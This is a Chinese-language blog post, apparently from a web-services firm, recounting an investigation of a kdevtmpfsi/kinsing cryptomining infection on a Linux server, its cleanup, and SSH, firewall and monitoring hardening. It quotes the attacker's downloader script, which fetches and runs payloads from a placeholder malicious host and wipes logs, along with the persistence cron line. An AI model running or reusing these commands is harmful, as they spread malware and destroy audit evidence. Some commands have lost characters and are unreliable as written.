ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

服务器CPU飙升500%!一次Linux挖矿木马入侵排查与安全加固实录

服务器CPU飙升500%!一次Linux挖矿木马入侵排查与安全加固实录 那天是周四下午三点多我照常登录服务器想跑个脚本更新数据结果一敲top整个人都怔住了——8核CPU的机器load average直接飙到12一个叫kdevtmpfsi的进程占了近500%的CPU。第一反应是完了服务器被矿了。这不是我第一次处理挖矿木马但每次遇到心情都很复杂。这台服务器上跑着好几个业务还有客户的测试环境如果真的被控制后果比损失点算力严重得多。我赶紧把CPU占用top 10的进程拉出来看除了我的nginx和mysql之外剩下的全是陌生的二进制名。再看一眼网络连接几个连接到境外IP的ESTABLISHED连接格外扎眼基本可以确认这是一台已经被门罗币挖矿程序控制的肉鸡。这篇文章就是我当时从发现、排查、清理到加固的全过程记录。不管你是运维老手还是刚买了第一台云服务器的小白只要你的机器有公网IP这篇文章都值得你花十分钟看完。我会把每一步的操作命令、判断依据、为什么这样做讲清楚很多细节是常规教程里不会写的——毕竟中了招之后拼的就是排查思路和清理速度。1. 事件定性从CPU异常到确认挖矿入侵1.1 异常初现top输出里的可疑进程我先说下当时看到的真实数据。执行top -c后排在前面的进程是这样的top - 15:23:11 up 32 days, 4:11, 1 user, load average: 12.08, 11.52, 9.87 Tasks: 247 total, 3 running, 244 sleeping, 0 stopped, 0 zombie %Cpu(s): 89.7 us, 8.9 sy, 0.0 ni, 0.0 id, 0.7 wa, 0.0 hi, 0.7 si, 0.0 st PID USER PR NI VIRT RES SHR S %CPU %MEM TIME COMMAND 8421 root 20 0 568240 159848 1088 S 495.3 1.9 12456:33 kdevtmpfsi 8432 root 20 0 146300 91248 924 S 102.1 1.1 3456:12 kinsing 9401 root 20 0 161428 88320 892 S 18.7 1.0 234:11 network.shkdevtmpfsi这个进程名看起来像是个内核模块相关的名字实际上它是老牌挖矿木马家族的成员经常和kinsing另一个模块成对出现。木马起这种名字就是为了让管理员第一眼不警觉——你看它长得像不像/ dev / tmp / fs / i 这种内核路径的组合这时候load average已经超过CPU核数了正常业务不可能把8核打满。我做的第一件事不是直接kill进程而是先摸清楚它的运行方式。因为挖矿木马普遍有守护进程机制光杀进程不删文件一分钟之内就会卷土重来。1.2 初步判断从资源和网络两个维度确认确认是否被挖矿我一般同时看三个维度CPU占用、网络连接、文件行为。CPU占用已经很明显了下面看网络。我执行了netstat -antlp把对外连接拉出来过滤掉22、80、443这些正常端口之后发现有两个连接到境外的IP端口都是随机高端口。挖矿程序要连接矿池提交算力这个连接会一直保持不会像正常业务那样频繁断连。再看文件行为我检查了/tmp目录发现了几个写着奇怪名字的脚本文件比如/tmp/kinsing、/tmp/kdevtmpfsi还有一个/tmp/network.sh。这三个文件我在之前处理的几台被入侵的机器上都见过基本可以锁定这是同一伙人的自动化攻击脚本利用漏洞批量扫机器打下来就植入挖矿程序顺便再留个后门方便下次进来。到这里事情已经定性了这不是误判也不是巧合就是一次利用服务器漏洞发起的自动化的挖矿木马入侵。接下来的重点从“确认是否被入侵”切换到“攻击者是怎么进来的”和“怎么把它彻底清干净”。2. 入侵溯源攻击者是从哪里进来的2.1 登录记录与认证日志分析发现被入侵之后我心里其实悬着一件事攻击者到底是怎么进来的如果是某个业务的RCE漏洞还好说如果是SSH弱口令被爆破了那问题就更大了——说明我这边的密码管理本身就有疏漏。我先查登录记录。Linux系统里last命令读的是/var/log/wtmp能看到所有成功的登录会话/var/log/auth.logCentOS上是/var/log/secure记录的是认证日志。我执行了下面几条命令last -20 grep Accepted /var/log/auth.log | awk {print $1, $2, $3, $9, $11} | sort | uniq -c | sort -nr | head -20第一个命令看最近20条登录记录。第二个命令统计所有成功登录的来源IP和登录方式。排查下来最近的登录确实都来自我自己的IP没有看到陌生IP的Accepted记录。这说明攻击者大概率不是通过SSH直接登进来的而是走应用层的漏洞进来的。不过这里要注意如果攻击者已经把系统日志清理过last看到的可能就不是真实情况。我顺手检查了/var/log/下日志文件的修改时间确认没有异常清空的痕迹日志文件的时间戳如果显示最近被改动过就要警惕。2.2 定时任务与自启动脚本里的“惊喜”检查完登录日志我转向了挖矿木马最常驻留的两个位置定时任务和自启动项。先看crontab。我不仅查了当前用户的定时任务还把系统级的定时任务都翻了个底朝天crontab -l ls -la /etc/cron.d/ cat /etc/cron.d/* cat /var/spool/cron/crontabs/* 2/dev/null查完就发现了问题/etc/cron.d/目录下多了一个名为update的文件内容大概是这样的*/5 * * * * root /bin/sh /tmp/network.sh /dev/null 21这就很典型了。每5分钟执行一次/tmp/network.sh这个脚本八成就是负责下载挖矿程序、维持驻留的“总指挥”。攻击者的逻辑是这样就算挖矿进程被杀了只要这个定时任务还在5分钟之内它就会重新拉起来。所以清理的顺序必须反着来——先断掉定时任务这条“复活”路径再杀进程最后删文件。除了crontab我还查了systemd服务里有没有可疑的service单元以及/etc/rc.local里有没有被追加内容。现在的挖矿木马越来越狡猾有的已经不依赖crontab了直接注册一个systemd服务来保活所以在排查阶段这些都要过一遍。2.3 后门文件与SSH公钥投放接下来是最让人头疼的部分——检查攻击者有没有在系统里留后门。挖矿木马群体有一个共识能进来一次就想进来无数次。所以这类恶意软件经常会在入侵后做几件事投放SSH公钥到authorized_keys文件、创建新的隐藏账号、替换常用的系统命令比如ps、top用来隐藏自己的进程。我逐一排查了这些点cat /root/.ssh/authorized_keys awk -F: $30 || $40 {print $1} /etc/passwd ls -la /etc/init.d/ /etc/systemd/system/ --sorttime | head -30 rpm -Va | grep ^..5检查下来authorized_keys里倒是没有被追加公钥/etc/passwd里也只有root这一个UID为0的账号。不过我在/root/.ssh/目录下发现了一个名为“_authorized_keys”的文件——注意这个文件名前面带下划线非常阴险正常的sshd配置不会读取这个文件但只要root用户走了某种Shell环境就有脚本会用它来做免密登录。这种小动作如果不逐字节看目录内容ls一眼扫过去很容易错过。这个发现提醒了我排查时要看文件列表的完整输出不能只看“有没有多出什么”还要看“常见文件有没有被改名或复制”。3. 清理挖矿木马从杀进程到拆后门的完整实操3.1 先断“复活”路径再杀进程很多人清理挖矿木马有个误区上来就kill -9 PID杀完发现CPU又飙起来以为是木马太厉害其实是没按顺序操作。正确的顺序应该是先让木马“无法复活”再杀当前进程。我先处理定时任务把/etc/cron.d/update移走而不是直接删除先留作证据mv /etc/cron.d/update /root/analysis/cron_update.bak crontab -r然后检查并停掉可疑的systemd服务。这一步我用了一个比较笨但很有效的方法遍历所有service文件看ExecStart这行指向的路径是否存在于/tmp、/dev/shm这类目录。挖矿木马经常会把自己的二进制放在这些目录里因为权限宽松、读写频繁不容易被注意到。确认没有systemd服务之后我才开始杀进程——但也不是简单kill而是先记录进程的PID、父进程PID、可执行文件的完整路径方便后续溯源性分析ls -l /proc/8421/exe ls -l /proc/8432/exe cat /proc/8421/cmdline | tr \0 kill -9 8421 8432 9401这里用/proc/PID/exe能直接看到进程对应的可执行文件的真实路径比用find搜全盘快得多。我看到的几个路径分别是/tmp/kdevtmpfsi、/tmp/kinsing和/tmp/network.sh。3.2 全网清理恶意文件与临时目录杀完进程后我进入“清理文件”环节。这一步的核心原则是宁可错杀不可放过。只要是在/tmp、/dev/shm这类目录下的未知可执行文件全部处理掉。rm -f /tmp/kdevtmpfsi /tmp/kinsing /tmp/network.sh rm -rf /tmp/.X11-unix # 这个目录经常被用来隐藏恶意脚本 find /tmp /var/tmp /dev/shm -type f -newer /etc/hostname -size 1M -exec ls -la {} \; 2/dev/null注意最后这条find命令它的作用是找出那些“比/etc/hostname更新、大小超过1MB、位于临时目录下的文件”这种文件十有八九是木马下载的恶意载荷。我在/tmp下又找到几个疑似下载器的小脚本一并删除。另外攻击者把挖矿程序放在/tmp而不是/usr/bin是有讲究的一方面是因为/tmp目录在很多系统上挂载了noexec选项不过这台机器没设置另一方面是因为临时目录的文件不会引起管理员警惕。所以我清理的核心顺序是先看临时目录再看定时任务关联的所有脚本路径。3.3 分析脚本内容反向拆解攻击逻辑清理完之后我打开了保存下来的/root/analysis/目录里的cron_update.bak和/tmp/network.sh想看看攻击者的完整逻辑。network.sh的内容我当时截图存了大致逻辑是这样的#!/bin/sh # 下载挖矿主程序 curl -s http://恶意域名:8080/kdevtmpfsi -o /tmp/kdevtmpfsi chmod x /tmp/kdevtmpfsi /tmp/kdevtmpfsi # 下载后门模块 curl -s http://恶意域名:8080/kinsing -o /tmp/kinsing chmod x /tmp/kinsing /tmp/kinsing # 清理日志痕迹 history -c clear echo /var/log/auth.log看到这段脚本后思路就清晰了。攻击者利用某个漏洞拿到机器权限后先把这个下载器脚本投放到/tmp目录再通过cron让它每5分钟执行一次实现进程保活和木马更新。挖矿木马一边挖矿后门模块一边从同一个C2地址拉取新指令。这种“中控下发双进程保活”的架构在2024年之后的挖矿木马家族里很常见已经形成了产业化的运营模式。这里给个重要建议分析恶意脚本时最好在隔离环境或者至少不要直接在自己机器上执行。我这次是用vim只读打开的先看内容再决定怎么处理。如果脚本内容有疑惑可以先扔到VirusTotal上扫一遍不要直接运行。3.4 删除隐藏账号、SSH后门与未知监听端口除了清理文件还要排查“人的后门”。我检查了/etc/passwd和/etc/shadow确认没有新增的UID为0的用户也没有奇怪的用户出现在登录Shell列表里。然后检查了所有网络监听端口ss -lntp lsof -i -P -n | grep LISTEN正常服务器只该开22、80、443如果看到什么56789、3456、9999之类的监听端口就要查一下是哪个进程在监听。我这次没发现额外监听端口攻击者主要是出方向连矿池不需要进方向监听但这一步不能省有的攻击者会直接监听一个高端口当反向Shell等着随时连回来。最后我把/root/.ssh/下那个可疑的_authorized_keys删掉并顺手把所有SSH authorized_keys的权限修正为700目录和600文件。这个权限细节很重要如果权限太宽松sshd会拒绝加载密钥文件。4. 安全加固阻止二次入侵的落地配置4.1 SSH安全策略密钥登录、关密码、改端口清理干净只是第一步不把安全基线提上来下一个漏洞就是下一次事故的起点。这块我给自己定了几个规矩现在分享出来都是我踩过坑之后总结的。第一SSH只允许密钥登录关闭密码登录。挖矿木马入侵的头号入口依然是SSH弱口令暴力破解。关闭密码登录之后风险面直接缩小一大半。修改/etc/ssh/sshd_configPasswordAuthentication no PermitRootLogin prohibit-password PubkeyAuthentication yes第二不建议直接禁用root登录因为有些旧的运维脚本和监控程序依赖root SSH。折中方案是改为prohibit-password也就是禁止root密码登录但允许密钥登录。第三修改SSH默认端口。这个方法虽然治标不治本但能极大减少扫描和暴力破解的噪音。我之前在默认22端口上fail2ban每小时至少拦截几百个尝试改了端口之后同样的时间周期内识别到的恶意扫描少了一个数量级。4.2 防火墙策略不用的端口坚决关很多云服务器默认的安全组是“全放通”的这是个大隐患。你只需要开放业务必需端口其他端口一律拒绝。我用的是iptables加ufw组合ufw default deny incoming ufw default allow outgoing ufw allow 22/tcp comment SSH ufw allow 80/tcp comment HTTP ufw allow 443/tcp comment HTTPS ufw enable这里有个细节ufw默认允许出方向流量意味着服务器主动向外的连接包括挖矿程序连接矿池的连接默认是放行的。所以要配合云安全组的出方向规则把出方向的非必要协议限制住。比如你的业务只需要出方向访问HTTPS接口就在安全组里只放行TCP 443和80端口其他出方向全部拒绝。这个策略一旦到位就算服务器上又落了恶意程序它也连不出去攻击直接断在半路。4.3 入侵检测与资源监控早点发现异常每次处理完入侵事件我都会装一套“早期预警系统”目标很简单下次出问题的时候我能第一时间发现而不是等到业务卡死才去查。我最常用的几个工具apt install -y sysstat fail2ban rkhunter auditdsysstat提供sar、pidstat这些命令可以定时采集系统资源利用率回看哪个时间段CPU异常升高的。事后溯源时这些历史数据是判断入侵节点的关键证据。fail2ban实时分析SSH登录日志自动封禁连续失败的IP。虽然改了密钥登录后暴力破解的威胁已经很小但fail2ban能拦截扫描流量减少日志噪音。rkhunterRootkit检测工具扫描系统里是否存在已知的后门程序。虽然它对新型木马有时候力不从心但作为基线检查工具还是有价值的。auditdLinux审计框架可以记录文件变更、系统调用。我之前没装它这次之后第一时间补上了。它有代价增加IO负载和日志量但对高安全要求的服务器来说值得。我自己还会额外配置一个简单的资源告警脚本用cron每5分钟跑一次检查当CPU使用率连续两次超过90%时通过Telegram Bot推送告警。告警不比实际处理问题但能让你知道“出事了”这一点就赢过了90%的服务器管理者。4.4 最小化原则与日常运维基线这次事件之后我还梳理了“最小化原则”的几个落地动作业务不用Redis、Memcached这类缓存服务时直接不装。如果必须用一定要设置为仅监听内网IP并设置强密码或启用ACL。很多挖矿木马是通过Redis未授权访问漏洞进来的攻击者一条命令就能写入定时任务。Web服务用非root用户运行目录权限收紧到755/644上传目录单独设置禁止执行权限。这样可以防止攻击者借助Web漏洞上传WebShell后再执行任意命令。定期更新系统软件包特别是像Linux内核、OpenSSH、Nginx这类处于攻击前锋的组件。我的做法是每周日凌晨自动执行apt update apt upgrade -y并通过邮件接收变更摘要。每台服务器设立独立的服务账号避免一个账号跑所有业务。万一某个业务被攻破影响范围能被控制在一个较小的面。这些都是基础加固写在这里是给新运维一个自查清单。很多老手可能会觉得“就这”但实际从我见过的案例来看大部分服务器被入侵缺的恰恰就是这些基础动作。5. 常见问题排查与避坑经验5.1 清理之后CPU还是高的原因排查有朋友可能会问我按上面的步骤杀完进程、删完文件怎么CPU占用还是降不下来这种情况我遇到过两次基本是三个原因第一定时任务没清干净。有些木马会写入多个定时任务路径比如同时存在于/var/spool/cron/root和/etc/crontab里你只清了其中一个过几分钟又被拉起来了。所以清完crontab之后我建议等10分钟再观察一次CPU确认没有回升再继续下一步。第二进程有多个副本。有些木马会随机生成进程名比如一个叫kdevtmpfsi另一个叫kswapd0模仿内核进程名进程间互相守护杀了这个另一个马上拉起。这种情况需要在netstat里找所有连接矿池IP的进程全量kill。第三Docker容器也被入侵了。现在很多服务器上跑着Docker攻击者打进宿主机后会用容器逃逸或者直接在容器里植入挖矿程序。如果你只清宿主机的文件没检查容器内部CPU还是会持续走高。清理时要记得检查每个运行中的容器docker ps docker stats --no-stream发现可疑容器直接停掉再检查容器的持久化数据目录有没有被写进去恶意文件。5.2 日志被清了怎么办攻击者为了隐藏行踪经常会执行清理日志的命令比如echo /var/log/auth.log或者rm -rf /var/log/*。遇到这种情况线上日志的取证价值大打折扣但这不代表完全无从查起云平台控制台通常有“命令记录”或“操作审计”功能只要是Web控制台操作平台侧会有记录。命令行历史~/.bash_history也有可能被清但磁盘上的残留数据可能还能通过strings命令从磁盘块里捞出来。这不是常规手段紧急时候可以尝试。时间维度也能推断。看业务日志里最后一个正常请求的时间、数据库binlog里最后一条记录的时间、文件系统中文件的创建时间结合异常文件的创建时间基本能还原一个时间线。我个人的经验是与其纠结日志被清了不如抓紧时间把还在运行的可疑进程和可执行文件收集起来做分析。很多时候从恶意文件本身能反推出攻击者的入口。5.3 清理后要不要重装系统清理之后很多人会纠结我是继续用这台“清理干净”的机器还是干脆重装系统我的建议非常明确如果服务器上有价值的数据且能快速备份恢复直接重装系统如果不能马上重装至少要做到以下几点再继续使用所有账号密码全部重置包括数据库、Web后台、SSH账号SSH密钥重新生成所有的服务配置文件过一遍确认没有可疑的修改放行策略按4.2节的方式重新收敛为什么推荐重装因为你不确定攻击者究竟在你的系统里做过什么。可能还埋了rootkit可能修改了内核模块可能是通过0day进来的——这些隐蔽后门很难靠人工排查全部发现。维护一台“可能还有后门”的服务器就像住在一间可能还藏着人的屋子里总是不踏实。我这次的实际情况是这台机器上有三个业务系统的运行数据虽然都有备份但迁移时间需要两小时左右。我评估后决定不重装而是做全面加固加持续监控同时把重装方案准备好一旦后续再发现任何异常立刻切换。结果两周后一切正常监控没有报警CPU资源也稳定在正常水平。这个决定符合当时的风险容忍度但不一定适合所有人。5.4 避坑清单这次我最想提前知道的几件事回头看这次事件有几个坑我是踩了才明白的第一个坑发现异常第一反应是“再看看”而不是立刻隔离。我当时先跑完手头的一个脚本才去排查这一耽误就是半小时。正确的做法是发现CPU异常后立刻断开服务器的外网入方向流量在云安全组里临时拒绝所有入站包先隔离再排查。这样即使真有攻击者在远程操作也没办法连进来继续发指令。第二个坑清理时只关注了/tmp目录忽略了/var/tmp和/dev/shm。这两个目录也是常见藏身地而且是很多木马的默认下载目录。建议清理时把三个目录一起过一遍。第三个坑没有提前采集系统基线。如果我在服务器上线时就记录了一份“正常状态”的进程列表、开放端口列表和crontab内容异常排查会快很多。现在我已经把这个动作做成了自动化脚本新机器上线第一天自动生成基线报告存档到一个独立的安全运维目录里。写在最后说实话这次服务器被矿工入侵虽然最后清理干净了但它给我上的课比任何时候都深刻。以前我总觉得“不就是台小服务器嘛谁会来攻击”直到真正看到500%的CPU占用和陌生IP的连接才明白网络上自动化扫描攻击的密集程度远超想象。你的机器只要暴露在公网上平均几分钟就会收到一次扫描请求这不是危言耸听。现在我的运维习惯已经彻底变了所有服务器的SSH强制密钥登录出方向只放业务必需端口关键目录做了auditd监控资源告警推送到手机。这套方案并不复杂但确实管用。如果你看完这篇文章也想检查一下自己的服务器别犹豫现在就去打开终端——先跑个top再敲个netstat -antlp看看你的机器是不是也在“安静地挖矿”。安全不是一次性工作而是一种持续的习惯。希望这篇记录能帮你避开我踩过的坑。
返回列表